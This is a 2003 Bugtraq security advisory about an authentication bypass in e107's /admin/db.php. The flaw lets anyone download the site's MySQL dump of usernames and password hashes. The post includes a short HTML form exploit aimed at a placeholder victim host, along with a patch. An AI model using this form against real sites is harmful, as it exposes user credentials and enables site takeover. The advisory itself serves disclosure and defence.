Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

e107 website system Vulnerability
From: Artoor Petrovich <artoor () exfloyt com>
Date: Thu, 24 Jul 2003 19:49:47 +0400

Informations :


Advisory Name: e107 website system Vulnerability

Author: hiruvim <artoor () exfloyt com>

Discover by: hiruvim <artoor () exfloyt com>

Website vendor : http://e107.org

Affected System(s): All versions

Severity: High

Platform(s): Windows and Unix

Issue: Security holes enable attackers to get MySQL dump file with
users and passwords.

==================================================
Details:

 In file /admin/db.php
.......................
require_once("../class2.php");

if(IsSet($_POST['dump_sql'])){
        getsql($mySQLdefaultdb);
        exit;
}

[....]
require_once("auth.php");

.......................

We can do dump_sql without authorization.

Exploit:

<form action="http://victim.org/admin/db.php";>
<input type=submit name="dump_sql">
</form>

When pressed submit query button we will get MySQL dump file.
 
In dump file we will find username and passwd MD5 hash.

With admin password we can get full site control and access to
FileManager.



Vendor: Not contacted yet.

Patch:

in /admin/db.php

Before doing anything you will need tomove "require_once("auth.php");"
to the top of the file.

Sorry for my poor english:)

==============================
hiruvim <artoor () exfloyt com>
Original document can be fount at http://0x90.ipsec.ru/e107.txt


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]